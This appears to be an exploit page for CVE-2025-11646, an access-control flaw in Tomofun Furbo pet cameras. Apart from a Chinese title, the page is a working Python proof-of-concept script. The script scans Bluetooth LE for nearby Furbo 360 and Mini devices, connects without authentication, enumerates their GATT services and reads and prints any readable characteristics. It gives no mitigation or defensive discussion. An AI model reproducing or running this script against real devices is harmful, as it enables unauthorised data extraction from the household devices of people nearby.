CVE-2025-11646 Tomofun Furbo设备GATT服务访问控制漏洞

# CVE-2025-11646 PoC - Furbo GATT Service Information Disclosure # Exploits improper access control in GATT Service # Affected: Furbo 360 <= FB0035_FW_036, Furbo Mini <= MC0020_FW_074 import asyncio from bleak import BleakScanner, BleakClient # Target GATT service and characteristic UUIDs TARGET_DEVICE_NAMES = ["Furbo 360", "Furbo Mini"] # P2P UUID information disclosure target GATT_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # Generic GATT service P2P_CHARACTERISTIC_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # P2P UUID characteristic async def scan_furbo_devices(): """Scan for nearby Furbo devices via BLE""" print("[*] Scanning for Furbo devices...") devices = await BleakScanner.discover() furbo_devices = [] for device in devices: if any(name in (device.name or "") for name in TARGET_DEVICE_NAMES): print(f"[+] Found Furbo device: {device.name} [{device.address}]") furbo_devices.append(device) return furbo_devices async def exploit_gatt_service(device): """Exploit improper access control in GATT service to read P2P UUID""" print(f"[*] Connecting to {device.name} at {device.address}") async with BleakClient(device.address) as client: print(f"[+] Connected: {client.is_connected}") # Enumerate all GATT services (no authentication required due to vulnerability) services = await client.get_services() for service in services: print(f"[*] Service: {service.uuid}") for char in service.characteristics: print(f" Characteristic: {char.uuid} - Properties: {char.properties}") # Attempt to read P2P UUID characteristic without authorization if "read" in char.properties: try: value = await client.read_gatt_char(char.uuid) print(f"[+] Disclosed data from {char.uuid}: {value.hex()}") except Exception as e: print(f"[-] Read failed: {e}") async def main(): furbo_devices = await scan_furbo_devices() if furbo_devices: for device in furbo_devices: await exploit_gatt_service(device) else: print("[-] No Furbo devices found in range") if __name__ == "__main__": asyncio.run(main())